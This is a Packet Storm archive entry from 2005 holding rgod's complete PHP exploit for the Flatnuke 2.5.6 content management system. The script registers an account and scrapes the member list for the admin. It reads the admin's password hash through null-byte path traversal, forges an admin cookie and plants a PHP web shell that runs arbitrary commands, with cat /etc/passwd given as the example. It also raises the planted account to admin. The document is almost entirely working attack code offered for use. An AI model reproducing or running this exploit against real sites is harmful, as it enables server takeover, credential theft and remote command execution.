flatnuke256_xpl.txt

2005-12-14T00:00:00
ID PACKETSTORM:42263
Type packetstorm
Reporter rgod
Modified 2005-12-14T00:00:00

Description

                                        
                                            `<?php  
# ---flatnuke_256_xpl.php 4.32 10/12/2005  
#  
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit  
# (works with magic_quotes_gpc off, try this with 2.5.5:  
# http://www.milw0rm.com/id.php?id=1140)  
#  
# coded by rgod at http://rgod.altervista.org  
# mail: retrogod at aliceposta it  
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html  
#  
# software:  
# site: http://flatnuke.sourceforge.net  
# description: a PHP Content Management System  
#  
# Explaination: if magic_quotes_gpc you can have any admin/user MD5 password  
# hash, poc:  
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00  
# now you can build an admin cookie:  
#  
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]  
#  
# as admin, you can edit any php file on target system and insert a shell,  
# example:  
#  
# POST /flatnuke/verify.php HTTP/1.1  
# Content-Type: application/x-www-form-urlencoded  
# Host: [target_host]  
# Content-Length: [data_length]  
# Cookie: [admin_cookie]  
# Connection: Close  
#  
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php  
#  
# now you launch commands:  
#  
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd  
#  
# Vendor has notified on August 2005 about credentials disclosure,  
# no patch has been released  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution exploit ***  
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:  
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">  
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p class="Stile6">a  
script by rgod at <a href="http://rgod.altervista.org"target="_blank">  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form  
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input  
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)  
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:  
/flatnuke/ or just / ) </span></p><p><input type="text" name="command"> <span  
class="Stile5"> * specify a command </span> </p> <p> <input type="text"  
name="port"> <span class="Stile5">specify a port other than 80 ( default  
value )</span> </p> <p> <input type="text" name="proxy"><span class="Stile5">  
send exploit through an HTTP proxy (ip:port) </span></p><p><input type="submit"  
name="Submit" value="go!"></p></form> </td></tr></table></body></html>';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>  </td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
echo "</tr></table>";  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load  
//next function to send packets  
{  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";  
}  
else  
{ $c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
echo "OK.<br>";  
echo "Attempting to connect to ".$host." on port ".$port."...<br>";  
if ($proxy=='')  
{  
$result = socket_connect($socket, $host, $port);  
}  
else  
{  
  
$parts =explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";  
}  
else  
{  
echo "OK.<br><br>";  
$html= '';  
socket_write($socket, $packet, strlen($packet));  
echo "Reading response:<br>";  
while ($out= socket_read($socket, 2048)) {$html.=$out;}  
echo nl2br(htmlentities($html));  
echo "Closing socket...";  
socket_close($socket);  
  
}  
}  
}  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='')  
{$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) { echo 'No response from '.htmlentities($host);  
die; }  
}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='')  
{  
  
$html='';  
while (!feof($ock))  
{  
$html.=fgets($ock);  
}  
}  
else  
{  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
echo nl2br(htmlentities($html));  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
$host=$_POST[host];$path=$_POST[path];  
$port=$_POST[port];$command=$_POST[command];  
$proxy=$_POST[proxy];  
if (($host<>'') and ($path<>'') and ($command<>''))  
{  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
$host=str_replace("\r\n","",$host);  
$path=str_replace("\r\n","",$path);  
  
srand(make_seed());  
$v = rand(1,9999);  
$username="SUNTZU".$v;  
echo '<br>Your username: '.htmlentities($username);  
  
#STEP 1 -> Register...  
$data="op=reg&nome=".$username;  
$data.="&regpass=jimihendrix";  
$data.="&reregpass=jimihendrix";  
$data.="&anag=jimihendrix";  
$data.="&email=fake@fakemail.fke";  
$data.="&homep=".urlencode('http://www.asite.com');  
$data.="&prof=PUNK";  
$data.="&prov=whereimfrom";  
$data.="&ava=clanbomber.png";  
$data.="&url_avatar=";  
$data.="&firma=";  
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";  
$packet.="Accept-Encoding: text/plain\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacketii($packet);  
  
#STEP 2 -> Login... (you cannot see memberlist if you are note registered...)  
$data="op=login&nome=".$username."&logpassword=jimihendrix";  
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(' ',$temp[1]);  
$cookie=$temp2[0];  
$temp2=explode(' ',$temp[2]);  
$cookie.=" ".$temp2[0];  
echo '<br>Your cookie: '.htmlentities($cookie);  
  
#STEP 3 -> Retrieve admin name from memberlist  
for ($i=1; $i<=100; $i++)  
{  
$packet="GET ".$path."forum/index.php?op=members&page=".$i." HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (eregi('class=normal>10',$html)) {echo "trovato...".$i; break; }  
}  
$temp=explode("class=normal>10",$html);  
$temp2=explode("user=",$temp[0]);  
$temp=explode(">",$temp2[count($temp2)-1]);  
$ADMIN=$temp[0];  
echo '<br>Admin: '.htmlentities($ADMIN);  
  
#STEP 4 -> Retrieve admin MD5 password hash...  
$packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00 HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (!eregi("<?",$html)) {die("Exploit failed... it seems we have magic_quotes_gpc on here...");}  
$temp=explode("<?".chr(0x0a)."#",$html);  
$temp2=explode(chr(0x0a),$temp[1]);  
$HASH=$temp2[0];  
echo '<br>Admin md5 password hash: '.htmlentities($HASH);  
# Now build new admin cookie...  
$SECID=md5($ADMIN.$HASH);  
$COOKIE="myforum=".$ADMIN."; secid=".$SECID.";";  
echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);  
  
#STEP 5 -> Edit some file... example: my profile ;)  
$COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail.fke\n#http://www.asite.com\n";  
$COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n"; //assign level 10 to new user  
//edit this, if system() is disabled you may try passtrhu(),exec() or backticks...  
//we also see phpinfo()  
$SHELL.=$COMPTEMPT."<?php echo \"Hi Master\";error_reporting(0);ini_set(\"max_execution_time\",0); phpinfo(); system(\$HTTP_GET_VARS[cmd]);?>";  
$SHELL=urlencode($SHELL);  
$data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2f".$username.".php";  
$packet="POST ".$path."verify.php HTTP/1.1\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: ".$COOKIE."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacketii($packet);  
  
#STEP 6 -> Launch commands...  
$packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode($command)." HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as admin with<br>";  
echo "username: ".$username."<br>";  
echo "password: jimihendrix<br>";  
}  
else {echo "Exploit failed...";}  
}  
else {echo "Fill * required fields, optionally specify a proxy..."; }  
  
?>  
  
  
  
  
  
  
  
  
  
`